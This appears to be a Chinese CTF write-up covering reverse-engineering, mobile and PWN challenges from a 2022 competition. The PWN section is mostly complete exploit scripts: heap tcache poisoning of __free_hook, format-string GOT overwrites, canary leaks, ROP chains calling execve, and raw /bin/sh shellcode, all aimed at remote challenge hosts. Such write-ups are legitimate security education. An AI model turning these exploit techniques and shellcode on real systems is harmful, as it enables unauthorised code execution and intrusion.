a=r'5D2AJMcNo7oAxwWMZJdOCj5LUQePeWBbmw=='

b=[20,19,12,11, 4,3,21,18,13,10,5,2,22,17,14,9,6,1,23,16,15,8,7,0]

for i in b:
    print(a[i],end="")

flag =""

def base64_to_hex(payLoad_base64):
    bytes_out = base64.b64decode(payLoad_base64)
    str_out = bytes_out.hex()
    print("base64_ to_ hex:",str_out)
    print(str_out)
    c = []
    for k in str_out:
        c.append('0x' + str_out[0:2])
        str_out = str_out[2:]
    print(c)
    return str_out

base64_to_hex(a)

然后将结果输入以下

b = [
0x9A, 0x78, 0xB6, 0x12, 0xBE, 0x66, 0x8D, 0xCF, 0x51, 0x9E,
0x63, 0xCB, 0x4A, 0xD1, 0x1A, 0x59, 0x78, 0x1C, 0x17, 0x73,
0xF2, 0x1D, 0x05, 0x2F, 0xF0, 0xD7, 0xB3, 0x22, 0x5D, 0xAD,
0x0B, 0xE2
]
c = [0xe4, 0x3d, 0x80, 0x24, 0xc7, 0x0d, 0xa3, 0xba, 0x00, 0xc7, 0x05, 0x8c, 0x64, 0x97, 0x4e, 0x0a, 0x3e, 0x4b, 0x51, 0x07, 0x8f, 0x79, 0x60, 0x5b, 0x9b] # 这里填写是base64解码后的hex 来源是有个qmemcpy函数那里
m = []
for i in range(len(c)):
    m.append(c[i]^b[i])
key = [0x32, 0x63, 0x65, 0x61, 0x39, 0x66, 0x30, 0x34, 0x63, 0x36, 0x33, 0x62,
0x34, 0x32, 0x38, 0x33, 0x39, 0x34, 0x30, 0x65, 0x63, 0x30, 0x65, 0x36, 0x64,
0x32, 0x39, 0x62, 0x65, 0x32, 0x38, 0x64]
def lll(a,b):
    if a>b:
        return 0
    else:
        return -1
f = ''
for i in range(len(m)):
    for j in range(128):
        if (lll((key[i]+0xd0)&0xff,0xa) + j +2)&0xff == m[i]:
            f += chr(j)
            print(f)
            break
p = list(f[::-1])
print()
def ppp(num):
    a = num&1
    return a==0
for i in range(len(p)):
    if ord('a')<=ord(p[i])<=ord('z'):
        p[i] = chr(ord(p[i])^0x20)
    elif ord('A')<=ord(p[i])<=ord('Z'):
        p[i] = chr(ord(p[i])^0x20)
    elif ord('0') <=ord(p[i])<=ord('9'):
        a = ord(p[i]) + 1
        b = ord(p[i]) - 1
        if ppp(ord(p[i])):
            p[i] = chr(a)
        else:
            p[i] = chr(b)
    else:
        pass
for i in range(len(p)):
    print(p[i],end='')

GetTheTable

采用正确的解密软件就能快速解密

ida x64打开,直接 F5 查看伪代码

image-20220510144031821

复制出来直接 base58 解密

image-20220510144156739

Bob’s Code

好简单的题目呀!

ida x32 打开,定位到 _main_0F5 查看伪代码

image-20220510143833993

说白了就是 换表

import base64
import string

s='W1BqthGbfhpZcbXjWbhLgG5FoZBBYGRVXhXtf1NRoY5ctGG1XXBMVXtwoF0'#去掉三个.
t = ''
for c in s:
    if 'a' <= c <= 'z':
        t += chr( ord('a') + ((ord(c)-ord('a')) - 2 )%26 )
    elif 'A' <= c <= 'Z':
        t += chr( ord('A') + ((ord(c)-ord('A')) - 2 )%26 )
    else:
        t += c   
print(t) 
t+='='

string1 = "ABCDEfghijklmnopqrsTUVWXYZabcdeFGHIJKLMNOPQRStuvwxyz0123456789-_"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

a=(base64.b64decode(t.translate(str.maketrans(string1,string2))))
print(base64.b64decode(a))

Mobile

MobileA

一道简单的Mobile类型的题目,你能成功闯关吗?

首先用 jadx 打开 apk 文件,定位到 com > example.mobilea > MainActivity

image-20220507193601431

把第 72 行的字符串跑一下

a = r'=1PmCCY=gQbcBQlnngbhpEEA'
b = [20, 19, 12, 11, 4, 3, 21, 18, 13, 10, 5, 2, 22, 17, 14, 9, 6, 1, 23, 16, 15, 8, 7, 0]
for i in b:
    print(a[i], end='')

然后得到的值 base64hex 一下,得到一段md5

image-20220507194026880

解密后得到 flag 的后半部分

image-20220507194057508

第一个箭头加密后是 key , 第二个箭头加密后是 iv ,前两个箭头指的地方,用 base64 加密,记得是“”里面的所有内容,然后第三个地方先 base64 解码一次

image-20220507194306741

from Crypto.Cipher import AES
from base64 import b64decode

cipher = AES.new(b'S0BlMjAyMiUleQ==', AES.MODE_CBC, b'SSZWMjAyMioqKg==')
flag = b64decode('OVV3V3pKSHFjdWlYTG83SWlrdytnb3lsYVpnQXVpb3I3ZVhERnd6NGdRST0=')
print(cipher.decrypt(b64decode(flag)))

得到的内容和前面 md5 解密的字符拼接一下即为 flag

MobileB

小明在学习过程中突然来了兴致,结合自己学习的知识编写了一个经过加密的app,你能从中找到密匙吗?

得到字符串,填入下面的exp中,

image-20220508164409145

import re
import sys
import math
from ast import Str

def sum(i, i2,i3):
    for i4 in range(0,6):
        d = i2
        d2 = i
        d3 = i4
        if (d <= pow(2.0, d3) + d2):
            if (d != pow(2.0, d3) + d2):
                d4 = i4 - 1
                return sum((int)(d2 + pow(2.0, d4)), i2, i3 + 1) + ((int)(d4 * pow(10.0, i3)))
            elif i4 == 0:
                return (int)(pow(10.0, i3) * 5.0)
            else:
                return (int)(d3 * pow(10.0, i3))
    return -1;

def strRe(uStr):
    sys.setrecursionlimit(2000000000)
    strlist = []
    for i1 in range(1, 27):
        a = sum(0, i1, 0)
        strlist.append(str(a))
    ia = uStr
    strlist1 = [x for x in ia.split('0') if x != '']
    strResult = ''
    for i in strlist1:
        strResult += chr(strlist.index(i)+65)
    return strResult

def soFlag(strResult):
    sss='''1:<EWXYZQKLDMNPFGHASTUIJBOCRV<2:<OPQRBXFMNYZGHISCKTUVWAJDEL<3:<IJCDEFQKLUVWAXYZGHMOPBNRST<4:<NOPGZLMAQEFBCHIJKDRSTUVWXY<5:<FAEJKLMZBCQRSDTUNOPGHIVWXY<6:<YZPRBQKLGMNWXASTVHEFIJUOCD<7:<OPQUVRSJDEHWACKTZGMNYIBXFL<8:<VWNRDEFPQSTAXGHLUMOIJCKYZB<9:<EHIGZLMAQRJKDXYFBCNOPUVWST<10:<LMRSAZQEJVWKBCDTUFOPGHIXNY<11:<NWIUOCLGMVHXASTYZJDBQKPREF<12:<KTZUVEHIOPNCBWAYXFDRSJGMQL<
    '''
    m = strResult
    content=re.findall(r'<(.*?)<',sss,re.S)
    iv=[0x00000003,0x0000000c,0x00000006,0x00000008,0x00000007,0x00000002,0x00000004,0x0000000B,0x00000001,0x00000005,0x00000009,0x0000000A]
    vvv=[]
    ans=""
    for i in range(12):
        index=content[iv[i]-1].index(m[i])
        vvv.append(index)
    for i in range(0,24):
        flag=""
        for j in range(12):
            flag+=content[iv[j]-1][(vvv[j]+i)%26]
        if 'FLAG' in flag:
            print(flag)

if __name__ == '__main__':
    uStr = '5340512305240513012402051205053014053405120'
    a = strRe(uStr)
    b = soFlag(a)

然后使用压缩软件打开apk文件提取 lib\x86_64\libmobileb.so 文件

image-20220508165010016

使用 ida x64 搜索字符串(shift+f12)找到 十二个 地址相连的 等长字符串 填入上方·的位置。再把上一步得到的字符串填入。运行脚本找到开头为FLAG的字符串,flag就是ISCC(得到的字符串}

image-20220508165147452

MobileC

so 文件 getkey 函数断点调试,得到 aes_key,然后分析 so 文件里的 GetStr 的加密逻辑,爆破就行

image-20220524082928171

image-20220524083215017

八位 一组填到脚本里,爆破的结果 长度最短 的字符串即为flag

import base64
from Crypto.Cipher import AES
enc=[]
import copy
def dfs(s,p):
    if p==6:
        enc.append(s)
        return
    for i in range(p,6):
        s[i],s[p]=s[p],s[i]
        t=copy.deepcopy(s)
        dfs(t,p+1)
        s[i],s[p]=s[p],s[i]
def fun(s):
    s=base64.b64decode(s)
    iv = 'i@S&88CcC.'
    iv = base64.b64encode(iv.encode())
    key = b'QERAPG9dPyZfTC5f'
    aes = AES.new(key, AES.MODE_CBC, iv)
    print(aes.decrypt(s))
dfs([1,2,3,4,5,6],0)
s='xb6LCvY4 ONK/iar= F4YrvRZ= bWZl2Eu= Fs+fVSe= rtODpbc='.split(' ')
for k in enc:
    m=[0]*48
    for i in range(6):
        for j in range(8):
            m[6*j+k[i]-1]=s[i][j]
    check=''.join(m)[-5:]
    if check=='=====':
        fun(''.join(m)[0:44])

PWN

heapheap

遇到不能控制 prev_size 的情况,可以通过 shrink unsorted bin 的方法来将 prev_size 填充成 目标size ,原理是 unsortedbin 合并是有顺序的,合并完会在下个 chunkprev_size 位写入之前的大小,从而在 prev_size 留下 size ,造成 chunk overlap。这道题我们还需要爆破 4bit 申请到 stdout 去泄露 libc

from pwn import *

p = remote("123.57.69.203","5320")
elf = ELF("heapheap")
libc = ELF("./libc-2.27.so")
def dbg():
    gdb.attach(p)
    pause()

s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"

hp = 0x2020C0

def add(size,con):
	sla("Please input your choice: ",1)
	sla("Please input the size:",size)
	p.sendafter("Data:",con)

def dele(idx):
	sla("Please input your choice: ",2)
	sla("Please input the index:",idx)


for i in range(6):
	add(0xf8,'a')

add(0xf0,'a')#6
add(0x80,'a')#7
add(0xf0,'a')#8
add(0xf0,'a')#9

for i in range(6):
	dele(i)

dele(9)
dele(6)
dele(7)
dele(8)

for i in range(0,7):
    add(0xf0,'a')

add(0xf0,'a')#9
add(0x80,'a')#8
add(0xf0,'a')#7

for i in range(0,6):
    dele(i)
    
dele(8)
dele(6)
dele(9)
add(0x88,'a'*0x80+p64(0x190))
dele(7)
for i in range(0,7):
    add(0xf0,'a')
    
dele(0)
add(0xf0,'a')
for i in range(0,7):
    dele(i)
add(0x28,'\x60\xe7')
add(0x80,'a')
add(0x80,p64(0xfbad1887)+p64(0)+p64(0)+p64(0)+p8(0x58))
# 0x7ffff79e2000 0x7ffff7dca2a0
libc_base = uu64()-0x3E82A0
lg("libc_base",libc_base)
free_hook = libc_base+libc.sym["__free_hook"]
one = libc_base+0x4f432
dele(0)
dele(1)
add(0x20,p64(free_hook))
add(0x20,'a')
add(0x20,p64(one))
dele(7)

p.interactive()

h-o-s

漏洞点如下

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbx

  setvbuf(stdout, 0LL, 2, 0LL);
  memset(ptr, 0, sizeof(ptr));
  cmd = buf;
  while ( 1 )
  {
    fgets(cmd, 128, stdin);
    if ( !strncmp(cmd, "fill", 4uLL) )
    {
      if ( n > 7 )
      {
        puts("full-|-enough");
      }
      else
      {
        __isoc99_scanf("%d%*c", &size);
        v3 = n;
        ptr[v3] = (char *)malloc(size);         // malloc(-1)返回0,覆盖ptr为0
        fgets(ptr[n], size, stdin);
        ++n;
      }
    }
    else if ( !strncmp(cmd, "get", 3uLL) )
    {
      if ( n < 0 )
      {
        puts("empty-nn-empty");
      }
      else
      {
        puts(ptr[--n]);                         // 越界读-1
        free(ptr[n]);                           // free当前堆块
        ptr[n] = 0LL;
      }
    }
    else
    {
      puts("I don't know---");
    }
  }
}

存在 ptr[-1] 越界,由此可以在 cmd 空间内构造 fakechunk ,而且要保证 putsfree 的参数是可以正常 free 掉的。且只能 free 当前 chunk

cmd 布置 fakechunkfreeunsortedbin 泄露 libc ,再次将 fakechunk 释放到 tcache ,制造 overlap ,然后将freehook 链入 tcache ,打 freehooksystem

# -*- coding: UTF-8 -*-
from pwn import *

context.log_level = 'debug'
context.terminal = ["/bin/tmux","sp","-h"]

io = remote('123.57.69.203',5820 )
# io = remote('127.0.0.1',49161 )
# libc = ELF('./libc-2.31.so')
# io = process('./hos')
libc = ELF('./libc.so.6')
elf = ELF('./hos')

l64 = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda	a=False		: io.recvline(a)
ru = lambda a,b=True	: io.recvuntil(a,b)
rn = lambda x			: io.recvn(x)
sn = lambda x			: io.send(x)
sl = lambda x			: io.sendline(x)
sa = lambda a,b			: io.sendafter(a,b)
sla = lambda a,b		: io.sendlineafter(a,b)
irt = lambda			: io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
lg = lambda s			: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data		: u32(data.ljust(4, '\x00'))
uu64 = lambda data		: u64(data.ljust(8, '\x00'))
ur64 = lambda data		: u64(data.rjust(8, '\x00'))

def add(size,content):
	sl('fill')
	sl(str(size))
	sl(content)
def delete():
	sl('get')

buf = 0x6010a0
cmd = 0x601160

add(0x41,'a')#n =0
# add(0x31,'a')#n=0
pay = 'get'.ljust(0x8,'\x00') + p64(0x61)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81) + p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x70)
sl(pay)
sl('get')#n=-1
add(0x81,'a')#n=0
add(0x81,'a')#n=1
add(0x81,'a')#n=2
add(0x81,'a')#n=3
add(0x81,'a')#n=4
add(0x81,'a')#n=5
add(0x81,'a')#n=6
add(0x81,'a')#n=7
delete()
delete()
delete()
delete()
delete()
delete()
pay = 'get'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x10)
sl(pay)
add(0x51,p64(buf+0x10) + p64(buf+0x70) + p64(buf+0x10)*2+p64(0x91)+p64(0x31))#n=1
delete()#n=0
sl('get')#n=-1
add(0x51,p64(buf+0x70) + p64(buf+0x10) + p64(buf+0x70)*2+p64(0x91)+p64(0x31))#n=0
sl('get')#n=-1
libcbase = l64() -0x3ebca0
lg('libcbase')
freehook = libcbase + libc.symbols['__free_hook']
lg('freehook')
system = libcbase + libc.symbols['system']
lg('system')
add(0x81,'a')#n=0

pay = 'get'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x40)
sl(pay)#n = -1

pay = 'fill'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(freehook) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x40)
sl(pay)#n = 0

add(0x81,p64(system))
add(0x41,'/bin/sh\x00')
delete()
# dbg()

irt()

create_id

ida x32 打开,定位到 main 函数

简单的格式化字符串漏洞改写全局变量x,从而执行后门函数。

image-20220525112208330

// 在调用时检测到错误的sp值,输出可能是错误的!

 
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v4; // esi
  int v6; // [esp+0h] [ebp-90h] BYREF
  int i; // [esp+4h] [ebp-8Ch]
  int v8; // [esp+8h] [ebp-88h]
  int v9; // [esp+Ch] [ebp-84h]
  char format[100]; // [esp+10h] [ebp-80h] BYREF
  unsigned int v11; // [esp+74h] [ebp-1Ch]
  int *v12; // [esp+80h] [ebp-10h]

  v12 = &argc;
  v11 = __readgsdword(0x14u);
  init();
  printf("%p\n", &x);
  puts("Guess a integer between 1~20^v^");
  puts("You will get the user id after you finish it.");
  for ( i = 0; i <= 2; ++i )
  {
    v3 = time(0);
    srand(v3);
    v4 = rand() % 10;
    v8 = v4 + rand() % 11 + 1;
    __isoc99_scanf("%d", &v6);
    if ( v8 == v6 )
    {
      printf("Good!");
      putchar(10);
      break;
    }
    puts("incorrect");
  }
  puts("\nWhat's your name?");
  __isoc99_scanf("%s", format);
  v9 = rand() % 100 + 10;
  puts(byte_804A0A3);
  printf("your name is:");
  printf(format);
  if ( x == 9 )
    flag(v12);
  else
    putchar(10);
  printf("your user id is: %d\n", v9);
  return 0;

代码这里引用了 flag 文件,很简单的一个输出和 cat flag

image-20220525112330687

_isoc99_scanf 这个地方需要格外注意,在 pust提示我们需要输入name的时候,我们将内容输出出去。_isoc99_scanf 这里传入参数 a1a2 都是 int 型,返回也是 int 型。

from pwn import *
context.terminal = ['tmux','splitw','-h']
p=remote('123.57.69.203',5310)
# p=process('./attachment-31')
x=int(p.recv(10)[2:],16)
print(hex(x))
p.recvuntil('You will get the user id after you finish it.\n')
p.sendline('9')
p.recvuntil('incorrect\n')
p.sendline('9')
p.recvuntil('incorrect\n')
p.sendline('9')
# gdb.attach(proc.pidof(p)[0])
p.recvuntil("What's your name?\n")

payload=fmtstr_payload(10, {x:0x9})#11
p.sendline(payload)
p.interactive()

跳一跳

亲爱的CTFers,题目做累了,让我们离开电脑,一起跳一跳~

保护全开的栈溢出,但是只能溢出 0x18 个字节。 正常情况是要栈迁移的,但是这题能获取靶机使用的 libc 版本,并且能够利用 one_gadget

#!/usr/bin/env python2
# -*- coding: utf-8 -*
import os
from pwn import *
from LibcSearcher import *
se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info_addr = lambda tag, addr        :p.info(tag + ': {:#x}'.format(addr))

elf = ELF('./attachment-10')
# context(arch = elf.arch, os = 'linux',log_level = 'debug')
p = remote('123.57.69.203',7020)
payload=flat(['8 '*217,'A'])
se(payload)
ru('\x08'*217)
canary = uu64(rc(7))<<8
stack = uu64(ru('\x7f',drop=False))
info_addr('canary',canary)
info_addr('stack',stack)
payload1 = b'A'*0xD8 + p64(canary)
payload1 += p64(stack) + b'\xA0\x50'
sleep(0.3)
# gdb.attach(p,'b read')
se(payload1)
payload2=flat(['9 '*0xa8,'A'])
sleep(0.3)
se(payload2)
ru('\x09'*0xa8)
libc_leak = uu64(rc(6))
libc_base = libc_leak - 0x81150 - 231
one_gadget = libc_base + 0x4f2c5
info_addr('libc_leak',libc_leak)
info_addr('libc_base',libc_base)
payload = b'A'*0xD8 + p64(canary)
payload += p64(stack) + p64(one_gadget)
sleep(0.3)
se(payload)
p.interactive()

untidy_note

这个笔记本不太好使

增删查改四个功能都有。但是增加的堆块大小受到限制,不能超过 31 字节。

漏洞点存在于 deleteedit 功能的函数,存在 UAF 漏洞和 堆溢出 漏洞。

#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from this import d
from pwn import *
from LibcSearcher import *
se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info_addr = lambda tag, addr        :p.info(tag + ': {:#x}'.format(addr))

elf = ELF('./untidy_note')
# context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','60'])
# p = process('./untidy_note')
# debug()
p = remote('123.57.69.203',7030)
def menu(choice):
    sla('Your choose is:',str(choice))
def add(size):
    menu(1)
    sla('the note size is:',str(size))
def dele(id):
    menu(2)
    sla('index:',str(id))
def edit(id,size,data):
    menu(3)
    sla('index:',str(id))
    sla('the size is:',str(size))
    sea('Content:',data)
def show(id):
    menu(4)
    sla('index:',str(id))
sla('Welcome to use untidy_note,Your name is:','Coldwinds')
for _ in range(30):
    add(0x10)
dele(2)
dele(1)
show(1)
ru('Content:')
heap_addr = uu64(rc(6)) - 0x290
info_addr('Heap',heap_addr)
edit(1,0x10,p64(heap_addr+0x10))
add(0x10)# 28
add(0x10)# 29
edit(29,0x10,p64(0x23333))
edit(2,0x20,p64(0)*3+p32(0x121))
dele(3)
show(3)
ru('Content:')
libc_base = uu64(rc(6)) - 0x3ebca0
info_addr('libc',libc_base)
libc = ELF('./libc-2.27.so')
__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
dele(4)
dele(5)
edit(5,0x10,p64(__free_hook))
add(0x10)# 27
add(0x10)# 28
edit(28,0x10,p64(system_addr))
edit(11,0x10,'/bin/sh\0')
dele(11)
p.interactive()

sim_treasure

格式化字符串漏洞挟持,通过 printf 幻术的 got 表,改换 system ,将下一次程序调用printf 的时候传入 ’/bin/sh’ 即可 GetShell

from pwn import *
context.log_level='debug'
io=remote("123.57.69.203",7010)
elf = ELF("./sp1")
libc = ELF("./libc-2.27.so")
puts_got = elf.got['puts']
io.recvuntil("Can you find the magic word?\n")
pay = p32(elf.got["puts"])+b"%6$s"
io.sendline(pay)
io.recv(4)
puts_addr = u32(io.recv(4))

printf_got = elf.got['printf']
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
io.sendline("A")

payload1 = fmtstr_payload(6, {printf_got: system_addr})
io.recvuntil("A\n")
io.sendline(payload1)
io.sendline("/bin/sh")
io.interactive();

主函数里面给了个后门

void __cdecl sh(char *c)
{
  system(c);
}

这题就是一个很简单的 堆溢出漏洞 结合 tcache attack ,将包含 cmdfake_chunk 链入 tcache bins ,从而将 cmd 这个指针改为指向 free@got ,进而而改写 got 表。

# coding=utf-8
# *- coding:utf-8 -*-
# from pwn_debug import *
from struct import pack
from pwn import *
import sys;import time;import os
# from LibcSearcher import *
# 设置timeout;sh.timeout = 0.1
context(os="linux", arch="amd64", log_level="debug")
# context(os="linux",arch="i386",log_level="debug")
# context.terminal = ["tmux", "splitw", "-h"] ; context.arch = "amd64" ;
context.log_level="debug" # 暂无这个
# tmux 换到4.7以上再说
filename = "attachment-38"
libcpath = ""
sh = 0
lib = 0
elf = ELF(filename) # local长
local_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #
# remote_buu_libc = ELF("/home/rencvn/Desktop/install/libc-2.27.so",checksec =False)
# libc = ELF("/home/rencvn/Desktop/BUU/Glibc/Ubuntu18_GLIBC_2.27-3ubuntu1/64/libc-2.27.so")
u16_local_one = [0x45216,0x4526a,0xf02a4,0xf1147] # one_gadget (-l2)/lib/x86_64-linux-gnu/libc.so.6 giantbranch 2.23-0ubuntu10
u18_local_one = [0x4f2a5,0x4f302,0x10a2fc] # one_gadget (-l2) /lib/x86_64-linuxgnu/libc.so.6 Rencvn 2.27-3ubuntu1.5
u20_local_one = [0xe3b2e,0xe3b31,0xe3b34] # one_gadget (-l2) /lib/x86_64-linuxgnu/libc.so.6 Ln-Pwn 2.31-0ubuntu9.7
""" """
l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\x7f")[-4:].ljust(4,"\x00"))
#bytes ==> int
#常用于调用了ROP输出类函数后,接受并转化为int类型
# uxx( ru("\x7f")[-6:].ljust(8,"\x00") )
leak= lambda name,data :sh.success(name + ": 0x%x" % data)
s = lambda payload :sh.send( payload)
sa = lambda a,b :sh.sendafter(str(a),str(b))
sl = lambda payload :sh.sendline(payload )
sla = lambda a,b :sh.sendlineafter(str (a),str(b))
ru = lambda a :sh.recvuntil(str(a))
r = lambda numb=4096 :sh.recv(numb)
# https://www.yuque.com/squirre17/qqf7/wbeago #5b71964e
rl = lambda :sh.recvline()
uu32= lambda data :u32(data.ljust(4, b'\x00'))
uu64= lambda data :u64(data.ljust(8, b'\x00'))
# https://blog.cc arol2358/article/details/106262701
info_addr = lambda tag, addr :sh.info(tag + ': {:#x}'. format(addr))
check = lambda data :"data=",data,"|*|","type=>",type(data)
# 这里使用print会报错
# 交互时
# py2 <==> str = bytes
#addr=int(sh.recvuntil('\n',drop=True),base=16)
def add(index,size,data):
    success("########->add<-########")
    sl("add") # fgets
    sla("Index: ",str(index))
    sla("Size: ",str(size)) # scanf
    sa("Data: ",data+"\n") # gets
def delete(index):
    success("########->delete<-########")
    sl("remove") # fgets
    sla("Index: ",str(index)) # scanf
sys = 0x400896
#sh = process("./unlink")
sh = remote("123.57.69.203",5810)
#gdb.attach(sh,"b *0x400A78")
# malloc #
#gdb.attach(sh,"b *0x4009BD\n"+"b *0x400A8A\n"+"c\n"*(24) )
add(0,0x410,"aaaa")#fake_chunk)#0
add(1,0xe8,"bbbb")#1
add(2,0x4f0,"cccc")#2
add(3,0x60,"/bin/sh\x00dddd")#3
add(4,0x60,"/bin/sh\x00eeee")#4
delete(0)
#pause()
delete(1)
for i in range(6):
    add(1,0xe8-i,"b"*(0xe8-i))
    delete(1)
add(1,0xe8,"b"*0xe0+p64(0x510).decode('unicode_escape'))#1
delete(2) #合并chunk2+chunk1+chunk0
success("合并chunk")
delete(1)
fgets_got = elf.got["fgets"]#0x601050
free_got = elf.got["free"]#0x601018
system_plt = elf.plt["system"];system_got = elf.got["system"]
puts_plt = elf.plt["puts"]

add(0,0x10+0x410+0xe8,0x410*"a"+p64(0x420).decode('unicode_escape')+p64(0xf0).decode('unicode_escape')+p64(free_got).decode('unicode_escape'))#chunk0 + chunk1
add(5,0xe0,"/bin/sh\x00ffff")
add(6,0xe0,3*p64(system_plt+6).decode('unicode_escape'))
#add(6,0xe0,2*p64(0x400706)) #xxx
#add(6,0xe0,2*p64(sys))
raw_input()
sl("/bin/sh\x00")
#delete(5)
sh.interactive()

Huge_Space

开始 gets(magic)栈溢出add 功能有 堆溢出 ,可申请任意大小的 chunkcmd 命令可 输入 数据 过多 。程序只有 add 和print函数( size 可控,可 泄露 地址),还有一个后门 sh:system(buf)

通过 溢出栈,布置栈迁移 rop,然后 堆溢出 覆盖 topchunkfreeunsortedbin ,申请出来泄露 libc,然后申请大内存,溢出覆盖 tls 结构的 canary 输入 cmd ,在 cmd 后面构造调用 execveropexit 返回到 main 函数,绕过canary,栈迁移到 bss ,调用 ececve

# -*- coding: UTF-8 -*-
from pwn import * 

context.log_level = 'debug'
context.terminal = ["/bin/tmux","sp","-h"]

io = remote('123.57.69.203',5330 )
# libc = ELF('./libc-2.31.so')
# io = process('./Huge_Space')
libc = ELF('./libc.so.6')
elf = ELF('./Huge_Space')

l64 = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda	a=False		: io.recvline(a)
ru = lambda a,b=True	: io.recvuntil(a,b)
rn = lambda x			: io.recvn(x)
sn = lambda x			: io.send(x)
sl = lambda x			: io.sendline(x)
sa = lambda a,b			: io.sendafter(a,b)
sla = lambda a,b		: io.sendlineafter(a,b)
irt = lambda			: io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
lg = lambda s			: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data		: u32(data.ljust(4, '\x00'))
uu64 = lambda data		: u64(data.ljust(8, '\x00'))
ur64 = lambda data		: u64(data.rjust(8, '\x00'))


def add(idx,size,content):
	sl('+++')
	sla('Index:',str(idx))
	sla('Size: ',str(size))
	sla('Data: ',content)
def show(idx,size):
	sl('print')
	sla('Index:',str(idx))
	sla('Size: ',str(size))


pop_rdi = 0x0000000000400be3
pop_rsi_r15 = 0x0000000000400be1
pop_rdx = 0x0000000000001b96
pop_rbp = 0x0000000000400860
leaveret = 0x40090F
sh = 0x400909
writee = 0x400B19
# dbg()
sl('\x00'*(8*9)+p64(pop_rbp)+p64(0x6010c0+0x10)+p64(leaveret))
add(0,0x10,'A'*0x10+p64(0)+p64(0xd81))#0
add(1,0x1000,'B')#1
add(1,0xd50,'')#1
# add(2,0x1fa0,'')#2
show(1,0x20)
# show(2,0x20)

# irt()
libcbase = l64() - 0x3ebc00
lg('libcbase')
execve = libcbase + libc.symbols['execve']
lg('execve')

sl('666')
# dbg()
add(3,0x22000,'\x00'*(0x24518+16*8)+'\x00'*8)#3 local 0x24828 8273

sl('exit\x00\x00\x00\x00/bin/sh\x00'+p64(pop_rdi)*2+p64(0x6010c0+8)+p64(pop_rsi_r15)+p64(0)*2+p64(pop_rdx+libcbase)+p64(0)+p64(execve))

irt()